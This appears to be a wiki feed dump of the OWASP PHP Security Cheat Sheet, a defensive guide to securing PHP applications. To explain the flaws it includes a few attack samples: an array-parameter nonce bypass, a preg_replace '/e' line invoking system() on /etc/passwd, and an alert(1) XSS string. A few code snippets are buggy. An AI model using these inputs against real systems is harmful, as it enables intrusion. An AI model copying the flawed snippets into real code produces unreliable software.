== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165431</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165431"/>
				<updated>2014-01-06T16:11:21Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web&lt;br /&gt;
servers deploy PHP. PHP is open source.&lt;br /&gt;
&lt;br /&gt;
PHP is unusual in that it is both a language and a web framework, in that it&lt;br /&gt;
comes with the typical features of a web framework built-in. Like all web&lt;br /&gt;
languages, there is also a large community of libraries etc., which also&lt;br /&gt;
contribute to the security (or otherwise) of programming in PHP. All 3 aspects&lt;br /&gt;
need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
There are, unfortunately, serious issues in all areas that make it difficult to&lt;br /&gt;
write secure PHP applications. These are difficult to work around if you are&lt;br /&gt;
forced to use PHP, but you need to be aware of them.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an&lt;br /&gt;
incorrect type into the expected type. This feature very often masks errors by&lt;br /&gt;
the developer or injections of unexpected data, leading to vulnerabilities (see&lt;br /&gt;
below under &amp;quot;Input handling&amp;quot; for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions&lt;br /&gt;
(e.g. === and not ==). Not all operators have strict versions, and many built-in&lt;br /&gt;
functions (like 'in_array') use weakly typed comparison functions, making it&lt;br /&gt;
difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but&lt;br /&gt;
instead report errors in other ways (such as via notices) that allow the faulty&lt;br /&gt;
code to carry on running. This has the effect of masking many bugs. In other&lt;br /&gt;
languages, error conditions that are caused by developer errors will cause the&lt;br /&gt;
program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]&lt;br /&gt;
function, and never attempt to suppress error messages - always follow the&lt;br /&gt;
warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many&lt;br /&gt;
configuration settings, including fundamental changes to things like how errors&lt;br /&gt;
are handled. This can make it very difficult to write code that works correctly&lt;br /&gt;
in all circumstances. Different libraries can have different expectations or&lt;br /&gt;
requirements about these settings, making it difficult to correctly use 3rd&lt;br /&gt;
party code. Some are mentioned below under 'Configuration'.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many builtin functions like 'addslashes', 'mysql_escape_string' and&lt;br /&gt;
'mysql_real_escape_string' which appear to provide security, but are often buggy and,&lt;br /&gt;
in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these builtins are being deprecated and removed, but due to backwards compatibility&lt;br /&gt;
policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP's built-in URL routing mechanism is to use files ending in &amp;quot;.php&amp;quot; in the&lt;br /&gt;
directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publically accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with $supplied_nonce being an array. strcmp() will then return&lt;br /&gt;
NULL (instead of throwing an exception, which would be much more useful), and then&lt;br /&gt;
due to weak typing and the '==' operator instead of '===', the&lt;br /&gt;
comparison succeeds (since &amp;quot;NULL == 0&amp;quot; is true according to PHP), and the&lt;br /&gt;
attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
